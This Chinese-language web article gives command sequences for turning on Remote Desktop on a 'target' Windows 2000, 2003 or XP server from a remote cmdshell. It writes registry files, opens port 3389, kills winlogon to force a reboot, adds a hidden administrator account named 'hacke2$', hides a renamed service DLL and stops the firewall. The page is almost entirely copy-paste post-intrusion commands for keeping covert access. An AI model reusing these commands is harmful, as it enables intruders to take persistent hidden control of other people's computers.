首页 电脑 电脑学堂 查看内容

CMD下开启远程服务

2009-10-11 10:26 700 0

摘要: 2000系统echo Windows Registry Editor Version 5.00 >open.reg echo. >>open.reg echo [HKEY_LOCAL...
关键词: nbsp echo reg open CurrentControlSe SYSTEM MACHINE dword LOCAL HKEY

2000系统echo Windows Registry Editor Version 5.00 >open.reg echo. >>open.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>open.reg echo "Enabled"="0" >>open.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>open.reg echo "ShutdownWithoutLogon"="0" >>open.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>open.reg echo "EnableAdminTSRemote"=dword:00000001 >>open.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>open.reg echo "TSEnabled"=dword:00000001 >>open.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>open.reg echo "Start"=dword:00000002 >>open.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>open.reg echo "Start"=dword:00000002 >>open.reg echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>open.reg echo "Hotkey"="1" >>open.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>open.reg echo "PortNumber"=dword:00000D3D >>open.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>open.reg echo "PortNumber"=dword:00000D3D >>open.reg                '3389端口的十六进制,可以修改      regedit /s open.reg          '执行                                                                                                       netsh.exe firewall add portopening tcp 3389 GotIT               '可能安装防火墙,让3389为允许端口       tskill winlogin.exe           '2000要重启后才生效,shoutdown不行,结束掉系统关键进程 按顺序将以上代码一行一行地复制到cmdshell上,复制完一行按一次回车执行。如无意外,等待服务器完成重启之后再连接目标发现远程桌面服务已经成功开启了 2003系统 echo Windows Registry Editor Version 5.00 >open.reg echo. >>open.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>open.reg echo "fDenyTSConnections"=dword:00000000 >>open.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>open.reg echo "PortNumber"=dword:00000d3d >>open.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>open.reg echo "PortNumber"=dword:00000D3D >>open.reg                '3389端口的十六进制,也可以修改      regedit /s open.reg                                                                                                                        netsh.exe firewall add portopening tcp 3389 GotIT                             连接目标发现远程桌面服务已经成功开启了。 xp允许多用户登陆(双开) echo @echo off >1.batecho @ntsd -c q -p 876 >>1.batecho @net user hacke2$ duyao /add >>1.batecho @net localgroup administrators hacke2$ /add >>1.bat '加帐号echo @REG ADD HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnetions /t REG_SZ /d 1 /f >>1.batecho @REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f >>1.batecho @REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f >>1.batecho @REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\System32\termsvr.dll /f >>1.bat '设置3389的DLL的路径 这里我把DLL改名了termsvr.dllecho @Attrib +H +S +R C:\windows\system32\termsvr.dll   >>1.bat '设置termsvr.dll 为隐藏系统只读属性echo @shutdown -a >>1.batecho @net stop sharedaccess >>1.bat '关防火墙echo @net start termservice >>1.bat '启动33891.bat '运行后记:有朋友说直接输入 echo [Components] > c:\log echo TSEnable = on >> c:\logsysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\log /q 重新启动后就可以开放3389,我没测试,希望大家试一试
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部